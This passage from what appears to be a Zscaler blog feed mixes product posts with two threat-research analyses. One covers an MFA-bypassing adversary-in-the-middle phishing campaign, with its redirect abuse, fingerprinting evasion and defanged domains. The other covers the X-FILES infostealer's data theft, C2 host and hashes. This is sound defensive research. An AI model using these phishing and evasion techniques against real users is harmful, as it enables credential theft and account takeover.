improve by a factor of 6X, latency reduced by 40-60%, and faster service overall. But some customers were asking us to go even further and provide a private link with Zscaler enforcement. So, with China Premium Access Plus, this is exactly what we’re doing. The “Plus” lies in our private infrastructure hosted in CBC premium network that provides a private link for each customer. It’s the easiest and most compliant way to attain a private link, exclusive for customer users in China, that allows them to access both international websites and domestic Chinese applications. When we gave legacy MPLS customers the chance to try Premium Access Plus, they raved about the unparalleled user experience, simplicity, and simple onboarding process. With the added cost of private infrastructure, we see this solution is mostly applicable for customers with a major user base in China that require many Mbps of connectivity. There’s also an underlay… Before we were able to offer our customers China Premium Access, we worked with Alibaba, who helped us improve our backend connectivity from our data centers in China to our back-office control plane in Europe and the United States. With the use of the Alibaba Cloud Enterprise Network (CEN), we improved connectivity to match that of any other data center. We did so by getting rid of persistent issues like log delays, authentication issues, and latency in delivering threat intelligence to the processing nodes in China. As part of China Premium Access, we also provide an underlay option with China Alibaba that matches our solution: With the China Premium Access Underlay, we can provide a private VPC in China + CEN + VPC anywhere in the world where both Alibaba and Zscaler are located (Frankfurt, San Francisco, Zurich, Mumbai, Tokyo, London, Washington, and many more). The China Premium Access Underlay completes our portfolio of choices; Generic, China Premium Access; Private, China Premium Access Plus; and Specialized, China Premium Access Underlay. Where to go from here With the help of our local partners, we’ve delivered something quite remarkable—easy access to applications outside of China without the need for a complex solution. We already have many customers that have taken advantage, so contact your sales representative to add China Premium Access for your employees working in mainland China. Fri, 05 Aug 2022 11:00:01 -0700 Amir Levy Shift Cloud Security Left Organizations are undergoing an immense digital transformation that is driven by developers, who develop new applications and update features continuously at an unprecedented velocity and speed. We have seen organizations quickly adopting new tools such as Infrastructure as Code (IaC), as well as Continuous Integration and Continuous Delivery (CI/CD) practices to become more effective and efficient. Agile methodologies and DevOps practices are changing patterns in how apps are continuously deployed and managed. With continuous development, testing, and deployment, it's far too easy for infrastructure misconfigurations, compliance violations, or other risks to slip through the cracks and introduce security vulnerabilities and configuration errors at the same velocity and volume, resulting in unprecedented levels of exposure and risk. There are many reasons why vulnerabilities and configuration errors get introduced and amplified, but the primary reasons include mistakes made by the developers, either accidentally, or due to a lack of knowledge about security and compliance requirements. Weaknesses can also be introduced into the application when different components are assembled together—especially if multiple teams are involved, and modern architectures, like microservices, get more complex. Security teams find it difficult to keep pace with agile development methodologies while managing ever-expanding attack surfaces and new risks introduced by cloud technologies. At times they may lose visibility into the infrastructure if things are moving quickly. InfoSec teams need to collaborate effectively with all stakeholders to make them understand, prioritize, and guide them with solutions to address security issues with limited resources. Traditional security approach In most organizations, security is handled after the development cycle, meaning security is often left as an add-on or a gated process at the very tail end of the software development lifecycle. This approach no longer fits the model of constant and frequent release cycles. Moreover, the approach is not scalable and adds delay to development. Result: Reduced speed and agility from costly rework processes Increased risk stemming from weaknesses being pushed to production environments Increased operational complexity and cost of remediating issues in production Cross-functional team friction Elevated MTTR Overall, with the traditional security approach, app security and workload protection can become a growing concern as organizations advance their digital transformations and place more of their assets in the cloud. Security teams need to quickly adapt, as this approach falls short to address growing security requirements. Fig: Traditional security approach The “shift-left” security approach: Making security an intrinsic part of the development With the shift-left approach, traditional security steps can now be embedded as automated security checks and tasks as part of the overall process of delivering secure applications and environments. With the shift-left approach, developers can now check for errors, risks, and vulnerabilities as part of their workflows. This empowers the developer to identify and fix issues with right context at an early stage of the development lifecycle and thereafter continually, as compared to the traditional legacy approach in which security testing is performed at the last moment. Ultimately, this eliminates risks associated with the delivery process and eventually results in building and running secure systems. Developers, DevOps, testers, and security teams all play a crucial role in this new security paradigm. Fig: Shift-left security approach Benefits of the shift-left approach Proactive security – Early identification and fixing of errors in the development phase. Guardrails to prevent insecure deployments Streamlined operations and reduced cost - Limited security issues to fix later in time saves time, operational cost, and exposure risk. Reduced MTTR - Rich context and guided remediation in workflows help to fix issues faster Security at DevOps pace – Can be achieved by injecting and enforcing security best practices/policies into development and CI/CD processes Effective collaboration - Distribute security responsibility and make everyone responsible for the security Final thoughts Shifting left is a trending topic and it is imperative for building secure applications at scale. In general, shifting left means shifting responsibility for security and compliance to developers. But practically, it means enriching CI/CD processes to detect threats and vulnerabilities before they reach production with effective team collaboration. Overall, the shift-left approach comes with many benefits as organizations can increase the speed of deployment, prevent configuration errors, minimize compliance violations, and improve collaboration between developers and security. It helps organizations release high-quality, secure applications quickly to the market. So how do you shift left in agile development? Cloud Native Application Protection Platforms (CNAPPs), including Zscaler’s Posture Control solution, are built to enable these types of processes. It helps organizations secure their applications and cloud infrastructure. Posture Control: Prevents common configuration errors, vulnerabilities, and security weaknesses to minimize risk. Provides seamless integration with DevOps pipeline and operational tools. Has built-in continous configuration checks in developer workflows, code repositories, and CI/CD pipelines; and custom rules. Provides developer-friendly guided remediation to fix violations and security issues. Helps enforce guardrails and security best practices to secure cloud infrastructure. Want to learn more about implementing shift left in your organization? Schedule a Posture Control demo today! Thu, 04 Aug 2022 08:00:02 -0700 Mahesh Nawale The Top 4 Reasons Why Microsoft Teams is NOT the Issue With Your Call The pandemic has triggered many organizations to reevaluate whether employees will return to the office or stay remote. According to a Forbes article, a study by IWG (known for Regus flexible workspaces) surveyed 1,000 American workers on hybrid work. The report found that 53% of Millennials prefer hybrid work and would look for another job if employers ceased to supply it. Furthermore, 33% of Baby Boomers had the same sentiment about hybrid work. Additionally, with the start of in-person meetings and events, travel has also picked up, which leads to employees accessing any applications (SaaS or corporate) from anywhere (hotels, airports). To keep employee productivity high, enterprises have increased usage of remote productivity tools, especially ones based in the cloud, such as Microsoft Teams. To chat, call, and share videos, remote workers have turned to Microsoft Teams. According to an article by ZDNet, Microsoft Teams has grown to over 270 million monthly active users in January 2022, up from 250 million in July 2021. That's a lot of monthly active users on the platform! As these numbers grow, it's exponentially harder for service desk teams to troubleshoot as workers aren't always in the office. Service desk teams must quickly understand the remote workers' environment to triage any problem. When a user complains about an application, it doesn't mean the application is at fault. Here are the top four reasons why Microsoft Teams is NOT the reason your call experiences quality issues. Home Wi-Fi or networking issues Many times, home Wi-Fi and local networking challenges are the issue. We've seen that network cards flap or change, which causes degradation in Wi-Fi performance. When these adapters change, performance can drop, which results in poor application response times. It doesn't automatically mean it's an application issue; it's actually the Wi-Fi network. There are several reasons this can happen; end users can move from one room in a home to another, which causes the Wi-Fi to change bands. 5GHz bands are faster than 2.4GHz, but 2.4GHz can reach further distances. Switching bands due to further distance could impact your call quality and might cause intermittent issues and dropped calls. Nonetheless, this is frustrating for your end users. Change in Wi-Fi alters signal strength Network congestion can also be a problem. As discussed by Reckitt Benckiser, who saw end users' home network latencies increase when family members started streaming content and playing games online. Home wireless setups are typically default configurations without Quality of Service (QoS) enabled to prioritize voice or video calls. Without QoS, all traffic merges at the gateway, which results in poor application performance. The dilemma is that the end user doesn't see the challenge or know that someone else caused their problem. High latencies between end user’s device and Wi-Fi access point Device level issues (CPU, Memory, Processes) Another issue end users encounter could be related to their device's CPU, memory, or processes. Sometimes virus scans consume the CPU, which starves other applications from performing. In other cases, end users open too many applications, which reduces the amount of memory available for the device. It could also be something simple, like having too many tabs open in a browser. CPU process spikes cause applications performance issues VPN routing challenges Many organizations backhaul traffic from end user devices to corporate networks to secure communications. It is not always the optimal path traffic should take and can add extra latency for your VOIP or video call. The end user has no idea that their traffic is taking a different path. For example, we all use GPS (Global Positioning System) to navigate an optimal way to our destination. Imagine you have a meeting that is 30 minutes away, and the GPS indicates two routes, 1.5 hours or 25 minutes. Which one would you select? You wouldn't choose the longer route because you would miss your meeting entirely. When an end user tries to connect to an application, the end user's device typically has policies for path selection to the application. Just keep in mind that it's not always the shortest path. So the next time you have lousy call quality, think about path selection and if your traffic is routed to the corporate network before it reaches your application. Internet Service Provider (ISP) Connectivity Issues Sometimes if you experience a call quality issue, an ISP issue could appear as if it's the application. These issues can manifest in multiple ways, such as routing the end user’s traffic over a longer path or dropping traffic as it's unable to peer with another provider. ISP issues are not always straightforward unless you have a deeper networking background. Detecting (or estimating) the extent of an ISP outage is challenging due to the complexity of the underlying network architecture involving infrastructure from many organizations, including last-mile internet and backbone providers. Depending on where the issue is along the path, you might have to understand what a public Autonomous System (AS) number by a Regional Internet Registry (RIR) does in a peering relationship, how routers share routing tables between interconnects, or how to configure the Border Gateway Protocol (BGP). However, end users like insights fast. Take a look at Careem; they call out local ISP issues with their remote work staff. As you can see, ISP issues vary and impact you depending on your location. ISP outages across the globe Summary Next time an end user complains that it’s their Microsoft Teams application, take a look at the points above. End users typically report an application as the issue but don't know the points between their device and the application. The challenge is how to quickly visualize these issues from a single solution. The good news is that all the images above are from Zscaler's Digital Experience (ZDX) solution. With ZDX, service desk teams can efficiently triage issues from the end user's device to the application. ZDX takes it a step further and integrates Microsoft Teams call quality information to simplify troubleshooting from a single point of view. Additionally, ZDX has a Microsoft 365 license which provides continuous monitoring and advanced troubleshooting of performance issues with Outlook Online, Sharepoint Online, OneDrive for Business, and Microsoft Teams. Wed, 03 Aug 2022 08:00:01 -0700 Rohit Goyal Visibility and Automation: The Underpinning of Zero Trust This post is the seventh in a series examining how Zscaler supports the move to zero trust as defined by CISA. The CISA Zero Trust Maturity Model outlined the five key pillars of zero trust that we have detailed in this blog series. Underlying all of these pillars are cross cutting capabilities of visibility & analytics and automation & orchestration. The migration plan outlined by NIST directs agencies to 1. Identify Actors on the Enterprise. 2. Identify Assets Owned by the Enterprise. 3. Identify Key Processes and Evaluate Risks Associated with Executing Process. 4. Formulating Policies for the ZTA Candidate. 5. Identifying Candidate Solutions. 6. Initial Deployment and Monitoring Inherent to these steps is increased visibility and automation. Agencies need to be aware of who is accessing their data, with what devices and do so in a way that removes the burden from IT, utilizing automated tools. Feeding the beast Agencies own most of the tools needed to automate security monitoring and response. SOAR and SIEM solutions do the heavy lifting, but they are only as powerful as the data they are fed. Zscaler conducts over 200 billion transactions per day. This provides rich, contextual logs to build playbooks off of. Zscaler's Admin UI collects data for every transaction through our cloud and provides rich reporting capabilities with logs, charts, graphs, etc. In addition, all this data can be streamed in real-time to the customers’ SIEM​. With the Zscaler Zero Trust Exchange sitting in the middle, SIEM and SOAR get fed the right data including IOC and BIOC so that playbooks for automation can be written. Automation means that computers can react against threats – rather than humans so that response happens at cloud speed. All activity and data is available in a single pane of glass displayed in the SIEM. Automation - easy as API APIs allow for interfaces between solutions that can initiate dynamic policy changes and enforcement, speeding up the OODA loop (observe, orient, decide, and act). OODA focuses on filtering available information, putting it in context and quickly making the most appropriate decision while also understanding that changes can be made as more data becomes available. APIs connected to Zscaler mean that when one application raises a flag that something is wrong, access and movement can be blocked across all of the connected applications. The API connections achieve dynamic need to know for adaptive situational awareness. For example, Zscaler has strong integrations with Microsoft Adaptive Access in Azure Active Directory (AD). Because Zscaler enforces zero trust access to the app/data, Zscaler can provide a continuous posture check or Comply to Connect (C2C) to all apps/data. By leveraging open APIs, Zscaler can make a Continuous Adaptive Access decision from data specific to Endpoint Managers like Forescout, Microsoft, Crowdstrike, as well as the Endpoint OS itself. Read more: Realizing The Federal Zero Trust Maturity Model Zero Trust Network Pillar: Evolving How We Use the Network Zero Trust Application & Workloads Pillar: An App-by-App Approach to Security Zero Trust Device Pillar: Ensuring the Device is More Trustworthy Than the User Zero Trust Identity Pillar: Truly Looking at the Whole Person Zero Trust Data Pillar: Understand and Protect Tue, 02 Aug 2022 05:00:01 -0700 Conrad Maiorino Large-Scale AiTM Attack targeting enterprise users of Microsoft email services Summary ThreatLabz has discovered a new strain of a large-scale phishing campaign, which uses adversary-in-the-middle (AiTM) techniques along with several evasion tactics. Similar AiTM phishing techniques were used in another phishing campaign described by Microsoft recently here. In June 2022, researchers at ThreatLabz observed an increase in the use of advanced phishing kits in a large-scale campaign. Through intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that are used in an active credential-stealing phishing campaign. This campaign stands out from other commonly seen phishing attacks in several ways. It uses an adversary-in-the-middle (AiTM) attack technique capable of bypassing multi-factor authentication. There are multiple evasion techniques used in various stages of the attack designed to bypass conventional email security and network security solutions. The campaign is specifically designed to reach end users in enterprises that use Microsoft's email services. Business email compromise (BEC) continues to be an ever-present threat to organizations and this campaign further highlights the need to protect against such attacks. In this blog, we describe details of the tactics, techniques and procedures (TTPs) involved in the campaign. Since the campaign is active at the time of blog publication, the list of indicators of compromise (IOCs) included at the end of the blog should not be considered an exhaustive list. Key points Corporate users of Microsoft's email services are the main targets of this large-scale phishing campaign. All these phishing attacks begin with an email sent to the victim with a malicious link. The campaign is active at the time of blog publication and new phishing domains are registered almost every day by the threat actor. In some cases, the business emails of executives were compromised using this phishing attack and later used to send further phishing emails as part of the same campaign. Some of the key industry verticals such as FinTech, Lending, Insurance, Energy and Manufacturing in geographical regions such as the US, UK, New Zealand and Australia are targeted. A custom proxy-based phishing kit capable of bypassing multi-factor authentication (MFA) is used in these attacks. Various cloaking and browser fingerprinting techniques are leveraged by the threat actor to bypass automated URL analysis systems. Numerous URL redirection methods are used to evade corporate email URL analysis solutions. Legitimate online code editing services such as CodeSandbox and Glitch are abused to increase the shelf life of the campaign. Phishing campaign overview Beginning in June 2022, ThreatLabz observed a sharp increase in advanced phishing attacks targeting specific industries and geographies. We identified several newly registered domains set up by the threat actor to target Microsoft mail services' users. Based on our cloud data telemetry, the majority of the targeted organizations were in the FinTech, Lending, Finance, Insurance, Accounting, Energy and Federal Credit Union industries. This is not an exhaustive list of industry verticals targeted. A majority of the targeted organizations were located in the United States, United Kingdom, New Zealand, and Australia. After analyzing the large volume of domains used in this campaign, we identified some interesting domain name patterns which we highlight below. Domains spoofing Federal Credit Unions Some of the attacker-registered domains were typosquatted versions of legit Federal Credit Unions in the US. Attacker-registered domain name Legit Federal Credit Union domain name crossvalleyfcv[.]org crossvalleyfcu[.]org triboro-fcv[.]org triboro-fcu[.]org cityfederalcv[.]com cityfederalcu[.]com portconnfcuu[.]com portconnfcu[.]com oufcv[.]com oufcu[.]com Note: Per our analysis of the original emails using the Federal Credit Union theme, we observed an interesting pattern. These emails originated from the email addresses of the chief executives of the respective Federal Credit Union organizations. This indicates that the threat actor might have compromised the corporate emails of chief executives of these organizations using this phishing attack and later used these compromised business emails to send further phishing emails as part of the same campaign. Domains spoofing password reset theme Some of the domain names used keywords related to "password reset" and "password expiry" reminders. This might indicate that the theme of the corresponding phishing emails was also related to password reset reminders. expiryrequest-mailaccess[.]com expirationrequest-passwordreminder[.]com emailaccess-passwordnotice[.]com emailaccess-expirynotification[.]com It is important to note that there are several other domains involved in this active campaign, some of them are completely randomized while others do not conform to any specific pattern. Distribution mechanism We have limited visibility into the emails used to distribute the phishing URLs. In some cases, the malicious links were sent directly in the email body; in other cases, the link was present inside the HTML file attached to the email. Figure 1 below shows an email which contained an HTML attachment with the malicious phishing URL embedded inside it. Figure 1: phishing email sent to the user with HTML attachment Figure 2 below shows the contents of the HTML attachment. It uses window.location.replace() to redirect the user to the phishing page when the HTML page is opened with the browser. Figure 2: HTML attachment used to redirect the user to the phishing page Figure 3 below shows an example of a phishing email in which the attacker sent the malicious link directly in the email body. Figure 3: Malicious link present in the email body We observed the use of a variety of URL redirection methods in a large number of cases. Instead of sending the actual phishing URL in the email, the attacker would send links that used a variety of redirection methods to load the final phishing page URL. We describe the details of some of these methods in the following section. Abuse of legitimate web resources for redirections Phishing sites were seen being delivered, redirected into, and hosted using numerous methods. A common method of hosting redirection code is making use of web code editing/hosting services: the attacker is able to use those sites, meant for legitimate use by web developers, to rapidly create new code pages, paste into them a redirect code with the latest phishing site’s URL, and proceed to mail the link to the hosted redirect code to victims en masse. These services provide flexibility to the attackers, since the contents of the redirect codes can be changed at any time. It has been observed that in the midst of a campaign, attackers will modify the code of a redirect page and update a phishing site’s URL that has been flagged as malicious, to a fresh undetected URL. The most commonly abused service for this purpose is CodeSandbox. Figure 4 below shows the most common redirect code hosted on CodeSandbox, utilized by the phishing site. Figure 4: redirect code snippet on an attacker-controlled CodeSandbox instance Figure 5 below shows an example of redirect code hosted on a similarly abused service - Glitch. Figure 5: redirect code hosted on an attacker-controlled Glitch instance. Many dozens, if not hundreds, of different CodeSandbox code pages were observed hosting different redirect codes to the phishing sites. Many of those pages were authored by a network of registered CodeSandbox users, letting us see the names of the Google accounts used for their registration. While most Google accounts we could find are anonymous throwaway accounts that are a dead end to attribution efforts, an internet search of a few account names tie some of the authors to older, more primitive phishing campaigns, and also show a history of engaging in cryptocurrency investment/recovery scams. Another method observed for URL redirection is the abuse of Open Redirect pages hosted by Google Ads and Snapchat. Figure 6 shows more details. Figure 6: different methods of URL redirection abusing Open Redirect pages Browsing to these links will immediately redirect the client to the URL specified in the GET parameter highlighted in blue colour. This method gives the attackers the benefit of being able to send emails with links pointing to these legitimate sites as the entry point, with the actual phishing sites’ addresses only appearing somewhere in the GET parameters, raising the likelihood of evading scanning of malicious URLs performed by email clients. Fingerprinting-based evasion This campaign utilizes a client fingerprinting process on all phishing sites that we will cover in this article. This process happens immediately upon the page being visited. The initial page clients are served consists of JavaScript code, ripped from the FingerprintJS project, whose purpose is to collect information from the client’s browser in order to help the site determine if the person behind the browser is in fact not an unsuspecting victim, but an unwelcome probing analyst or an automated bot. The script gathers identifying information such as the client’s operating system, screen dimensions, and timezone, and communicates its findings back to the site by WebSocket traffic. The complete list of information gathered from the client's machine is mentioned in the Appendix at the end of the blog. Figure 7: Client fingerprint data sent to the server over websocket With this information received, the site arrives at a verdict whether it should continue reeling in the client, or should it get rid of it by redirecting to the Google homepage. How exactly the site decides this is unknown since the logic is present on the server side, but it has been observed that browsers running in virtual machines are detected by examining the name of the client’s graphics driver, as exposed by the WebGL API. By default, VirtualBox and VMware make themselves known this way, and require some masking effort in order to pass this check, for example making use of browser setting `webgl.override-unmasked-renderer` on Firefox. In case the site does not find a reason to suspect the client, it will serve it an authentication cookie that the client-side code will proceed to save before reloading the same page, this time receiving the main phishing page by the site. Figure 8: Upon successful fingerprint process, site returns authentication cookie __3vjQ. Proxy-based AiTM phishing attack overview Traditional credential phishing sites collect the user's credentials and never complete the authentication process with the actual mail provider's server. If the user has multi-factor authentication (MFA) enabled, then it prevents the attacker from logging into the account with only the stolen credentials. In order to bypass multi-factor authentication, attackers can use Adversary-in-the-middle (AiTM) phishing attacks. All the attacks which we describe in this article used the AiTM phishing attack method. AiTM phishing attacks complete the authentication process with the actual mail provider's server (in this case - Microsoft), unlike traditional credential phishing kits. They achieve this by acting as a MiTM proxy and relaying all the communication back-and-forth between the client (victim) and the server (mail provider). There are three main open-source AiTM phishing kits available which are widely known in the community. Evilginx2 Muraena Modlishka Based on our research, we believe that the threat actor in this case used a custom phishing kit. In the following section, we highlight some of the unique attributes we identified in the client-server communication which differs from the common off-the-shelf AiTM phishing kits. We will not cover the technical details of how the AiTM phishing kits work in general since they are widely documented in the public domain such as here. Unique attributes of the phishing kit All advanced AiTM kits have in common that they operate as a proxy between the victim and the target site (Microsoft servers in our case). The kits intercept the HTML content received from the Microsoft servers, and before relaying it back to the victim, the content is manipulated by the kit in various ways as needed, to make sure the phishing process works. We observed several ways in which the phishing kit’s operation is distinguishable from the three open-source kits: HTML parsing It’s apparent that the phishing kit’s backend is making use of an HTML parser library, such as Beautiful Soup. We can deduce this by comparing the messy, unindented HTML code arriving from Microsoft: And the same HTML code as relayed by the phishing kit, tidied up and properly indented: It is likely that the phishing kit feeds the HTML it reads from the Microsoft server into an HTML parser, which creates a programmatic representation of the entire HTML tree. This allows a programmer to conveniently manipulate the different elements by interacting with the objects that represent them. Once the manipulation is done, the library produces an HTML output of the tree with all changes applied. This often results in a tidy output, as we see above. The three open-source kits don’t make use of HTML parsers, instead operating on the received HTML data just by using basic string operations. Domain translation One of the things the kits need to take care of is replacing all the links to the Microsoft domains with equivalent links to the phishing domain, so that the victim remains communicating with the phishing site throughout the phishing session. For example, Figure 9 below shows a side-by-side comparison of an HTML snippet. On the left is the original code as served by Microsoft, and on the right is the same code after it has undergone translation, on its way to be relayed to the victim. Figure 9: HTML snippets before and after translation The original subdomain (green), the original domain name (blue, minus the TLD), and a unique generated ID (pink) are joined together with dashes and become a subdomain under the phishing site’s domain (orange). This translation pattern, namely the 8 hexadecimal digits ID added to links, appears unique to this phishing kit, and is not used by the three open-source kits. However, there’s a case where this translation is not taking place. The Office 365 login page, as part of a feature called “Azure Active Directory Seamless Single Sign-On”, communicates with Microsoft server `` in order to load company-specific scripts to offer this feature to the authenticating client. The references to this server can be seen in this snippet of JavaScript, taken from the main Office 365 login page: For one reason or another, the phishing kit does not perform translation on the links to `` shown above, and they make their way to the victims intact. This results in the victim’s browser performing HTTP requests like the following, while loading the login page: Effectively “leaking” the phishing site’s address as the referring site inside a request to the Microsoft server. This opens up the possibility of detecting the kit in the act, if a victim’s HTTP traffic is monitored by network security solutions capable of deep packet inspection. Post-compromise activity To investigate the post-compromise activity, we set up an Azure AD instance in our lab with a dummy account and a domain controlled by us. We visited one of the live phishing URLs, supplied dummy account credentials, and completed the multi-factor authentication process. In one case, we observed that the attacker logged into our account, 8 minutes after we sent our credentials to the attacker's server. It is important to note that the attacker logged into the account from another IP address (different from the phishing domain's IP address). Based on the delay of 8 minutes in post-compromise activity, we suspect that the threat actor is manually logging into the account. Figure 10 below shows audit / sign-in logs from our lab's Azure AD highlighting the post-compromise activity. Figure 10: Azure AD sign-in logs highlighting post-compromise activity At the time of our investigation, we did not see any specific post-compromise activity performed by the threat actor besides merely logging into the account, reading emails and checking the user's profile information. Zscaler’s detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: HTML.Phish.Microsoft Conclusion Business email compromise (BEC) continues to be one of the top threats which organizations need to protect against. As described in this blog, the threat actors are constantly updating their tactics, techniques and procedures (TTPs) to bypass various security measures. Even though security features such as multi-factor authentication (MFA) add an extra layer of security, they should not be considered as a silver bullet to protect against phishing attacks. With the use of advanced phishing kits (AiTM) and clever evasion techniques, threat actors can bypass both traditional as well as advanced security solutions. As an extra precaution, users should not open attachments or click on links in emails sent from untrusted or unknown sources. As a best practice, in general, users should verify the URL in the address bar of the browser before entering any credentials. The Zscaler ThreatLabz team will continue to monitor this active campaign, as well as others, to help keep our customers safe. Indicators of compromise # Since the campaign is active at time of the publication and this threat actor is relentless in creating new domains almost every day, the IOCs below should not be considered as an exhaustive list. The complete list of IOCs can be found at our GitHub repository here: Appendix Client fingerprint collected {u'data': {u'appCodeName': <string>, u'appName': <string>, u'audioCodecs': {u'aac': <string>, u'm4a': <string>, u'mp3': <string>, u'ogg': <string>, u'wav': <string>}, u'automation': [<boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>, <boolean>], u'battery': <boolean>, u'cookieEnabled': <boolean>, u'debugTool': <boolean>, u'devtools': <boolean>, u'document': {u'characterSet': <string>, u'charset': <string>, u'compatMode': <string>, u'contentType': <string>, u'designMode': <string>, u'hidden': <boolean>, u'inputEncoding': <string>, u'isConnected': <boolean>, u'readyState': <string>, u'referrer': <string>, u'title': <string>, u'visibilityState': <string>}, u'etsl': <integer>, u'hardwareConcurrency': <integer>, u'hasChrome': <boolean>, u'javaEnabled': <boolean>, u'language': <string>, u'languages': [<string>, <string>], u'mediaSession': <boolean>, u'mimeTypes': [<string>, <string>], u'multimediaDevices': {u'micros': <integer>, u'speakers': <integer>, u'webcams': <integer>}, u'permissions': {u'accelerometer': <string>, u'ambient-light-sensor': <string>, u'ambient_light_sensor': <string>, u'background-fetch': <string>, u'background-sync': <string>, u'background_fetch': <string>, u'background_sync': <string>, u'bluetooth': <string>, u'camera': <string>, u'clipboard-write': <string>, u'clipboard_write': <string>, u'device-info': <string>, u'device_info': <string>, u'display-capture': <string>, u'display_capture': <string>, u'geolocation': <string>, u'gyroscope': <string>, u'magnetometer': <string>, u'microphone': <string>, u'midi': <string>, u'nfc': <string>, u'notifications': <string>, u'persistent-storage': <string>, u'persistent_storage': <string>, u'push': <string>, u'speaker-selection': <string>, u'speaker_selection': <string>}, u'platform': <string>, u'plugins': [<string>, <string>, <string>, <string>, <string>], u'referrer': <string>, u'screen': {u'cHeight': <integer>, u'cWidth': <integer>, u'orientation': <string>, u'sAvailHeight': <integer>, u'sAvailWidth': <integer>, u'sColorDepth': <integer>, u'sHeight': <integer>, u'sPixelDepth': <integer>, u'sWidth': <integer>, u'wDevicePixelRatio': <integer>, u'wInnerHeight': <integer>, u'wInnerWidth': <integer>, u'wOuterHeight': <integer>, u'wOuterWidth': <integer>, u'wPageXOffset': <integer>, u'wPageYOffset': <integer>, u'wScreenX': <integer>}, u'serviceWorker': <boolean>, u'timezone': <string>, u'userAgent': <string>, u'vendor': <string>, u'videoCodecs': {u'h264': <string>, u'ogg': <string>, u'webm': <string>}, u'visitorId': <string>, u'webRTC': <boolean>, u'webXR': <boolean>, u'webgl': <string>}, u'ftype': <string>} Tue, 02 Aug 2022 08:00:01 -0700 Sudeep Singh Experience your world secured with Zscaler at Black Hat 2022 It’s that time of the year again! Security folks from near and far are gathering in Las Vegas – or making their presence known virtually – for Black Hat to network with peers, learn about the latest security research and threat trends, and check out new innovations. As a proud sponsor of Black Hat 2022, we’ll be there, will you? This past year, the ThreatLabz team has seen a massive uptick in cyberattacks and the use of illusive techniques. Ransomware attacks aren’t going away. In fact, we’ve seen an 80% increase year-over-year with bad actors jumping on the bandwagon with multi-extortion demands, increasing the pressure on companies to pay up. Part of the reason ransomware threat actors are so effective at delivering attacks is because we’ve seen an increase of 314% threats being delivered over HTTPS, an encrypted protocol intended for secure communication. At Zscaler, we are purpose-built to prevent ransomware from the start and stop even the stealthiest attacks. Visit Zscaler at booth #872 in-person or virtually August 10 and 11 to check out our latest innovations and chat with our Zscaler experts and partner presenters. Discover why Zscaler customers trust the world’s largest security cloud to protect their organizations while reducing the attack surface, preventing cyberthreats, eliminating lateral movement, and stopping data loss. How a Zero Trust Architecture Protects Against Ransomware A CxO Fireside chat featuring Zscaler’s Amit Sinha, Patrick Foxhaven, and Deepen Desai Register for this session via the Black Hat attendee portal. In addition to our virtual speaking session, stop by our booth (#872) for nonstop fun from Zscaler experts and partner presenters. Already a customer? Stop by for your free gift! We’re giving away custom MuteMe buttons to customers who visit our booth and exclusive shirts when you sign up for the Zenith Community during the event. Want to meet onsite? Zscaler will have executives and product specialists ready to meet with you and answer your questions. Book a one-on-one meeting with us using the form on our Black Hat event site. See you there! Make sure to follow Zscaler on Twitter and LinkedIn for live updates from the show and to stay updated on all things #ZeroTrust. Visit our Zscaler at Black Hat event microsite to grab details on our virtual speaking session, in-booth presentations, and featured research and partner content. Mon, 01 Aug 2022 12:25:49 -0700 Amy Heng X-FILES Stealer Evolution - An Analysis and Comparison Study Introduction Zscaler’s ThreatLabz threat research team recently has spotted a new variant of the emerging X-FILES infostealer attack with enhanced features to exfiltrate sensitive information. X-FILES is a stealer that aims to steal sensitive information, including logins and financial data. This blog will walk through the differences between the variants of X-FILES that we have observed until now, including differences in features, attack chains, and command-and-control (C2) patterns. Following our in-depth analysis, we’ll include a tabular feature comparison. Interesting Facts X-FILES stealer was first observed in March 2021 by 3xp0rt. A second variant was observed in the month of December, 2021 again by 3xp0rt. In June 2022, ThreatLabz discovered a revised version of the stealer. We have observed that the malware is mostly coming from phishing domains hosted on Russian IPs. Even the C2 panel (xfilesreborn[.]ru), for the latest variant, is hosted on Russian IP (46[.]8[.]153[.]137). Recently, it has been seen that the threat actors are now exploiting the Follina vulnerability to deliver X-FILES stealer. Like other infostealers, X-FILES aims to steal and exfiltrate sensitive information such as saved browser credentials, Crypto wallets, FTP credentials, and credit card information. All the variants that we have stumbled upon are written using C# programming language, with new features added over time by the threat actors. With the latest variant, the threat actors have switched to hiding interesting strings in base64 format rather than keeping it in plain text format. Changes in C2 patterns are also observed. Website Analysis Our investigation has revealed a number of phishing websites that have been created and used by threat actors to distribute X-FILES stealer, with some still active. In Scenario 1, the threat actors have distributed malware by pretending to be legitimate VPN software and Nitro Generator software, respectively. The downloaded files from the phishing websites are the X-FILES stealer. Figure 1: Phishing websites 1 and 2 In Scenario 2, the main payload was downloaded by another malicious file hosted on a phishing website, which is a Russian domain associated with multiple malwares. As the domain is currently down, the following screenshot is taken from VirusTotal to show the relationship graph of the malicious domain. Figure 2: Graphical representation of the malicious domain Attack Chain From the above scenarios, we have deduced the layout of the attack chain, illustrated in Figure 3. Figure 3 : X-FILES attack chain Technical Analysis In this section, we will lay out the differences and additional features that we have seen amongst different variants of the stealer, obfuscation of interesting strings, and the C2 pattern of the latest variant. Note:- For the purpose of studying differences in features, the following md5s were analyzed: Latest Variant :123fd0237ca90f8a606009461fe2bb76 (June, 2022) Second Variant : 1ed070e0d33db9f159a576e6430c273c (Dec, 2021) Oldest Variant : 1b85d1786c4dde6ca1ee03a95e19531e(March, 2021) System Information Along with the information of IP, Country, Region, City, Operating System and Screen resolution (all of which were data collected by previous variants), the latest variant collects additional information about Windows Activation key, graphic cards, memory, processor, and antiviruses installed on the victim’s machine. Figure 4: Code comparison The PC info is collected in the following manner by the latest variant: : Figure 5: System Information collected by the latest variant Wallet Information As in the second variant (but not the first), the latest variant collects information about wallets and crypto wallet extensions. The uniqueness of this variant is that, unlike the second variant in which file paths were embedded in code, in this variant a list of targeted files gets downloaded from the C2 panel first and then the information is collected. #Latest Variant Figure 6: Paths of Wallets and crypto-wallets extensions from C2 server #Second Variant Figure 7: Paths of wallets and crypto-wallet extensions embedded in the code Browser Information The latest variant is, like earlier variants, capable of stealing saved browser information. However, the interesting thing is that in the latest variant, the targeted files are searched using a directory crawling technique at targeted folders. After getting a list of the matched patterns and file paths, the same are used for further stealing activities. It is worth noting that the paths are hard-coded in the second and the oldest variant. # Latest variant Figure 8: Latest variant code #Second & Oldest variant Figure 9: Older variants code FTP Information Both the latest and the second variant are capable of collecting 